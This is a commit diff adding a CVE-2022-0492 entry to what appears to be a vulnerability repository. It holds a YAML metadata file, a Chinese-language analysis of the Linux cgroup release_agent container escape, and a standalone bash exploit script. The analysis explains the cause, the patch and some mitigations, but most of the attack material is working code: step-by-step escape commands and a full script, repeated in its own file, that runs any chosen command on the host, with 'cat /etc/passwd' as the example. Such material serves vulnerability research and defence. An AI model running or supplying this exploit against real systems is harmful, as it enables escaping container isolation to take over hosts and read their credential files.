add CVE-2022-0492
|
@ -0,0 +1,19 @@
|
|||
id: CVE-2022-0492
|
||||
source: https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
|
||||
info:
|
||||
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
severity: 高危
|
||||
description: |
|
||||
A vulnerability was found in the Linux kernel’s cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges and bypass the namespace isolation unexpectedly.
|
||||
scope-of-influence:
|
||||
2.6.24-rc1~5.17-rc3
|
||||
reference:
|
||||
- http://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2022-0492
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0492
|
||||
- https://git.kernel.org/linus/24f6008564183aa120d07c03d9289519c2fe02af
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2022-0492
|
||||
cwe-id: CWE-287
|
||||
tags: 权限提升,容器逃逸,cve2022
|
|
@ -0,0 +1,314 @@
|
|||
# CVE-2022-0492 容器逃逸分析
|
||||
|
||||
[toc]
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
漏洞编号: CVE-2022-0492
|
||||
|
||||
漏洞产品: linux kernel - cgroup
|
||||
|
||||
影响版本: ~linux kernel 5.17-rc3
|
||||
|
||||
漏洞危害: 当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机
|
||||
|
||||
## 环境搭建
|
||||
|
||||
在存在漏洞版本的内核的linux中使用docker 即可。
|
||||
|
||||
```shell
|
||||
#关闭所有安全防护启动docker
|
||||
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
|
||||
```
|
||||
|
||||
本文用docker 做为实验环境。
|
||||
|
||||
## 漏洞原理与相关知识
|
||||
|
||||
该漏洞的利用方法已经是[老面孔](https://www.freebuf.com/vuls/264843.html)了,不过漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验,导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限,该漏洞无需CAP_SYS_ADMIN)。具体利用前提的差别看下文"利用条件"。
|
||||
|
||||
### 漏洞发生点
|
||||
|
||||
分析补丁,patch 了`cgroup_release_agent_write` 函数,增加了身份验证。代表cgroup 的release_agent不再允许不具备权限的用户修改了:
|
||||
|
||||
![image-20220310201629995](img/image-20220310201629995.png)
|
||||
|
||||
所以确定该漏洞为失效的访问控制。
|
||||
|
||||
### cgroup 简介
|
||||
|
||||
cgroup 即Linux Control Group, 是Linux内核的一个功能,用来限制,控制与分离一个进程组群的资源(如CPU、内存、磁盘输入输出等)。
|
||||
|
||||
cgroup 有如下子系统:
|
||||
|
||||
1. `devices` 进程范围设备权限
|
||||
2. `cpuset` 分配进程可使用的 CPU数和内存节点
|
||||
3. `cpu` 控制CPU占有率
|
||||
4. `cpuacct` 统计CPU使用情况,例如运行时间,throttled时间
|
||||
5. memory 限制内存的使用上限
|
||||
6. `freezer` 暂停 Cgroup 中的进程
|
||||
7. `net_cls` 配合 tc(traffic controller)限制网络带宽
|
||||
8. `net_prio` 设置进程的网络流量优先级
|
||||
9. `huge_tlb` 限制 HugeTLB 的使用
|
||||
10. `perf_event` 允许 Perf 工具基于 Cgroup 分组做性能检测
|
||||
|
||||
宿主机中的cgroup 都在`/sys/fs/cgroup` 下,可以看到各个cgroup 子系统:
|
||||
|
||||
![image-20220311113636040](img/image-20220311113636040.png)
|
||||
|
||||
docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点,docker中查看memory cgroup:
|
||||
|
||||
![image-20220311113811776](img/image-20220311113811776.png)
|
||||
|
||||
主机docker 目录中的对应容器名节点,一模一样:
|
||||
|
||||
![image-20220311113853019](img/image-20220311113853019.png)
|
||||
|
||||
#### cgroup 使用
|
||||
|
||||
cgroup 是通过文件系统的形势来使用的,通过`mount` 将cgroup 挂在到一个目录,cgroup 通过VFS虚拟文件系统和我们交互,cgroup 的接口通过文件的形势呈现,直接使用文件的操作方式对cgroup进行一些参数的设置。
|
||||
|
||||
```
|
||||
mount -t cgroup -o memory cgroup /tmp/testcgroup
|
||||
```
|
||||
|
||||
![image-20220311111853198](img/image-20220311111853198.png)
|
||||
|
||||
可以通过在目录下创建子目录来创建cgroup 子节点`mkdir /tmp/testcgroup/x`。
|
||||
|
||||
#### release_agent
|
||||
|
||||
cgroup的每一个subsystem都有参数`notify_on_release`,这个参数值是`Boolean`型,1或0。分别可以启动和禁用释放代理的指令。如果`notify_on_release`启用(为1),当cgroup不再包含任何任务时(即cgroup 中最后一个进程退出的时候,cgroup的`tasks`文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。通过修改notify_on_release 文件的形势修改 `notify_on_release`的值。
|
||||
|
||||
![image-20220311114023546](img/image-20220311114023546.png)
|
||||
|
||||
漏洞发生就位于对release_agent 的修改,在原本只要可以操作cgroup 便可对release_agent 进行修改,而需要CAP_SYS_ADMIN才可以使用cgroup。但后来研究人员发现通过`unshare` 命令创建新的namespace可以获得全部的capbilities,那么对于CAP_SYS_ADMIN 的限制就不存在了,漏洞利用的门槛一下子降低了很多。
|
||||
|
||||
### unshare 命令
|
||||
|
||||
`unshare` 命令功能为取消指定的共享父进程中指定的命名空间,然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是,**`unshare` 新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities。**
|
||||
|
||||
![image-20220311102635204](img/image-20220311102635204.png)
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
本漏洞利用和传统CAP_SYS_ADMIN+cgroup release_agent 逃逸方法相同,但利用条件有所区别。
|
||||
|
||||
### 利用条件
|
||||
|
||||
漏洞利用条件和传统release_agent 逃逸的利用条件区别是:
|
||||
|
||||
**传统release_agent**:容器需要有CAP_SYS_ADMIN 并且没有开启 apparmor 、selinux。
|
||||
|
||||
**cve-2022-0492**:容器裸奔(更细化一点就是seccomp 不禁用`unshare`,apparmor 不开启cgroup只读,关闭selinux),获得容器内root 权限。**无需获得CAP_SYS_ADMIN** 。
|
||||
|
||||
值得一提的是,docker 的apparmor 默认会开启cgroup 只读,docker 的seccomp 默认是会禁用非CAP_SYS_ADMIN权限下的`unshare`。k8s 默认通常是裸奔容器。总之由于利用比较容易,可以在具体场景尝试一下。
|
||||
|
||||
**漏洞修复后**:根据补丁的代码:
|
||||
|
||||
![image-20220310201629995](img/image-20220310201629995.png)
|
||||
|
||||
想要修改release_agent 文件需要具备两个条件:
|
||||
|
||||
1. 是根命名空间
|
||||
2. 拥有CAP_SYS_ADMIN cap权限
|
||||
|
||||
所以在漏洞修复之后,通过`unshare` 获得的CAP_SYS_ADMIN 权限不再能修改release_agent 了,因为使用`unshare `获得的新命名空间不是根命名空间。但如果容器本身就存在CAP_SYS_ADMIN 权限则还可以继续使用此方式逃逸。
|
||||
|
||||
### 漏洞利用
|
||||
|
||||
#### 获得CAP_SYS_ADMIN
|
||||
|
||||
如果docker 启动中带有`--cap-add=SYS_ADMIN` 参数或`--privileged`(特权容器),则带有CAP_SYS_ADMIN权限,则不需要我们额外获取,如如下启动命令:
|
||||
|
||||
```sh
|
||||
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
|
||||
```
|
||||
|
||||
带有CAP_SYS_ADMIN 权限的docker 可直接进入下一步"修改release_agent"。启动不带CAP_SYS_ADMIN 权限的docker 并且复现漏洞的命令:
|
||||
|
||||
```sh
|
||||
#关闭所有安全防护启动docker
|
||||
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
|
||||
```
|
||||
|
||||
没有CAP_SYS_ADMIN,通过如下`unshare` 命令获得CAP_SYS_ADMIN权限:
|
||||
|
||||
```shell
|
||||
unshare -UrmC --propagation=unchanged bash
|
||||
```
|
||||
|
||||
新获得的命名空间拥有全部的capbilities权限。
|
||||
|
||||
![image-20220311102635204](img/image-20220311102635204.png)
|
||||
|
||||
|
||||
|
||||
#### mount cgroup与获取容器在宿主机中的路径
|
||||
|
||||
将cgroup mount到一个目录,这一步由于用到了`mount `,所以需要CAP_SYS_ADMIN 权限,经过上一步,我们或自带CAP_SYS_ADMIN,要么已经通过`unshare` 获得了CAP_SYS_ADMIN。除此之外,我们还需要在刚`mount `的cgroup 中创建一个cgroup节点,方便后续我们做清空task 的操作:
|
||||
|
||||
```sh
|
||||
mkdir /tmp/testcgroup
|
||||
mount -t cgroup -o memory cgroup /tmp/testcgroup
|
||||
#然后再在/tmp/testcgroup 创建一个
|
||||
mkdir /tmp/testcgroup/x
|
||||
```
|
||||
|
||||
**这里 memory 无法`mount` 或memory 中没有release_agent 可以换其他cgroup子系统。**
|
||||
|
||||
通过`/etc/mtab` 文件可以看到挂载的docker overlay文件系统信息,`upperdir` 就是容器根目录在宿主机上的绝对路径:
|
||||
|
||||
![image-20220311104701790](img/image-20220311104701790.png)
|
||||
|
||||
通过如下命令可以获取:
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
```
|
||||
|
||||
#### 修改release_agent 触发逃逸
|
||||
|
||||
将`notify_on_release`设置为1,开启task 进程清空后执行release_agent功能:
|
||||
|
||||
```sh
|
||||
echo 1 > /tmp/testcgroup/x/notify_no_release
|
||||
```
|
||||
|
||||
创建release_agent 触发时执行的文件:
|
||||
|
||||
```sh
|
||||
touch /cmd
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps -ef >> $host_path/result" >> /cmd
|
||||
chmod 777 /cmd
|
||||
```
|
||||
|
||||
修改release_agent ,指向cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径):
|
||||
|
||||
```sh
|
||||
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
|
||||
```
|
||||
|
||||
接下来向x cgroup 节点中输入一个任务,将自己所属的sh 的pid 写入cgroup.procs。
|
||||
|
||||
```sh
|
||||
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
|
||||
```
|
||||
|
||||
sh 命令只执行了一个`echo` 指令,一瞬间就会结束,那么x cgroup 节点中就没有任何任务了,触发`notify_on_release` 执行 release_agent 指向的`/cmd` 文件,内核触发,在容器外执行我们指定的命令,完成逃逸。逃逸成功:
|
||||
|
||||
![image-20220311110810458](img/image-20220311110810458.png)
|
||||
|
||||
### exp
|
||||
|
||||
根据流程写了个exp:
|
||||
|
||||
```shell
|
||||
#!/bin/bash
|
||||
hackCMD=$1
|
||||
CAP_SYS_ADMIN=0x80000
|
||||
ifSysAdmin=0
|
||||
mountDir=/tmp/testcgroup
|
||||
cmdPath=/cmd
|
||||
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
|
||||
mkdir $mountDir
|
||||
# create cmd
|
||||
touch $cmdPath
|
||||
echo '#!/bin/sh' > $cmdPath
|
||||
echo "$1 > $hostPath/result" >> $cmdPath
|
||||
chmod 777 $cmdPath
|
||||
|
||||
#create escape.sh
|
||||
cat <<EOF > ./escape.sh
|
||||
#!/bin/bash
|
||||
|
||||
subsys=\$1
|
||||
mountDir=\$2
|
||||
host_path=\$3
|
||||
|
||||
mount -t cgroup -o \$subsys cgroup \$mountDir
|
||||
if [ ! -d \$mountDir/x ]
|
||||
then
|
||||
mkdir \$mountDir/x
|
||||
fi
|
||||
|
||||
cd \$mountDir/x
|
||||
echo 1 > \$mountDir/x/notify_on_release
|
||||
echo "\$host_path/cmd" > \$mountDir/release_agent
|
||||
|
||||
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
|
||||
sleep 0.5
|
||||
umount $mountDir
|
||||
EOF
|
||||
chmod 777 ./escape.sh
|
||||
|
||||
#get if has cap_sys_admin
|
||||
nowCap=`cat /proc/$$/status | grep CapEff`
|
||||
nowCap=${nowCap#*CapEff:}
|
||||
nowCap=${nowCap%%CapEff*}
|
||||
nowCap=0x${nowCap: 1: 16}
|
||||
|
||||
ifSysAdmin=0
|
||||
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
|
||||
then
|
||||
ifSysAdmin=1
|
||||
fi
|
||||
|
||||
if [ $ifSysAdmin == 1 ]
|
||||
then
|
||||
echo "[+] You have CAP_SYS_ADMIN!"
|
||||
else
|
||||
echo "[-] You donot have CAP_SYS_ADMIN, will try"
|
||||
fi
|
||||
|
||||
#try escape
|
||||
while read -r subsys
|
||||
do
|
||||
if [ $ifSysAdmin == 1 ]
|
||||
then
|
||||
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
|
||||
./escape.sh $subsys $mountDir $hostPath
|
||||
echo "[+] Escape Success!"
|
||||
rm -r $mountDir
|
||||
cat /result
|
||||
rm /result
|
||||
exit 0
|
||||
fi
|
||||
else
|
||||
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
|
||||
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
|
||||
echo "[+] Escape Success with unshare!"
|
||||
rm -r $mountDir
|
||||
cat /result
|
||||
rm /result
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
|
||||
|
||||
echo "[-] Escape Fail!"
|
||||
rm -r $mountDir
|
||||
```
|
||||
|
||||
直接运行,接一个你想逃逸执行的命令作为参数:如:`./exp.sh "cat /etc/passwd"`
|
||||
|
||||
逃逸成功:
|
||||
|
||||
![image-20220311153511050](img/image-20220311153511050.png)
|
||||
|
||||
## 缓解措施
|
||||
|
||||
docker 默认状态是开启seccomp 和apparmor 的,漏洞无法逃逸开启默认规则的seccomp 和apparmor 的容器。k8s 默认没有任何安全措施,需要手动开启seccomp 和apparmor 或selinux。
|
||||
|
||||
## 参考
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
|
||||
|
||||
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
|
||||
|
||||
https://www.freebuf.com/vuls/264843.html
|
||||
|
||||
除此之外还问了参与挖这个漏洞的人
|
|
@ -0,0 +1,97 @@
|
|||
#!/bin/bash
|
||||
|
||||
hackCMD=$1
|
||||
CAP_SYS_ADMIN=0x80000
|
||||
ifSysAdmin=0
|
||||
mountDir=/tmp/testcgroup
|
||||
cmdPath=/cmd
|
||||
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
|
||||
mkdir $mountDir
|
||||
# create cmd
|
||||
touch $cmdPath
|
||||
echo '#!/bin/sh' > $cmdPath
|
||||
echo "$1 > $hostPath/result" >> $cmdPath
|
||||
chmod 777 $cmdPath
|
||||
|
||||
|
||||
#create escape.sh
|
||||
cat <<EOF > ./escape.sh
|
||||
#!/bin/bash
|
||||
|
||||
subsys=\$1
|
||||
mountDir=\$2
|
||||
host_path=\$3
|
||||
|
||||
mount -t cgroup -o \$subsys cgroup \$mountDir
|
||||
if [ ! -d \$mountDir/x ]
|
||||
then
|
||||
mkdir \$mountDir/x
|
||||
fi
|
||||
|
||||
cd \$mountDir/x
|
||||
echo 1 > \$mountDir/x/notify_on_release
|
||||
echo "\$host_path/cmd" > \$mountDir/release_agent
|
||||
|
||||
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
|
||||
sleep 0.5
|
||||
umount $mountDir
|
||||
EOF
|
||||
chmod 777 ./escape.sh
|
||||
|
||||
#get if has cap_sys_admin
|
||||
nowCap=`cat /proc/$$/status | grep CapEff`
|
||||
nowCap=${nowCap#*CapEff:}
|
||||
nowCap=${nowCap%%CapEff*}
|
||||
nowCap=0x${nowCap: 1: 16}
|
||||
|
||||
ifSysAdmin=0
|
||||
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
|
||||
then
|
||||
ifSysAdmin=1
|
||||
fi
|
||||
|
||||
if [ $ifSysAdmin == 1 ]
|
||||
then
|
||||
echo "[+] You have CAP_SYS_ADMIN!"
|
||||
else
|
||||
echo "[-] You donot have CAP_SYS_ADMIN, will try"
|
||||
fi
|
||||
|
||||
|
||||
|
||||
#try escape
|
||||
while read -r subsys
|
||||
do
|
||||
if [ $ifSysAdmin == 1 ]
|
||||
then
|
||||
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
|
||||
./escape.sh $subsys $mountDir $hostPath
|
||||
echo "[+] Escape Success!"
|
||||
rm -r $mountDir
|
||||
cat /result
|
||||
rm /result
|
||||
exit 0
|
||||
fi
|
||||
else
|
||||
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
|
||||
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
|
||||
echo "[+] Escape Success with unshare!"
|
||||
rm -r $mountDir
|
||||
cat /result
|
||||
rm /result
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
|
||||
|
||||
echo "[-] Escape Fail!"
|
||||
rm -r $mountDir
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
After Width: | Height: | Size: 8.8 KiB |
After Width: | Height: | Size: 8.3 KiB |
After Width: | Height: | Size: 14 KiB |
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 15 KiB |
After Width: | Height: | Size: 6.7 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 4.3 KiB |
After Width: | Height: | Size: 4.3 KiB |
After Width: | Height: | Size: 16 KiB |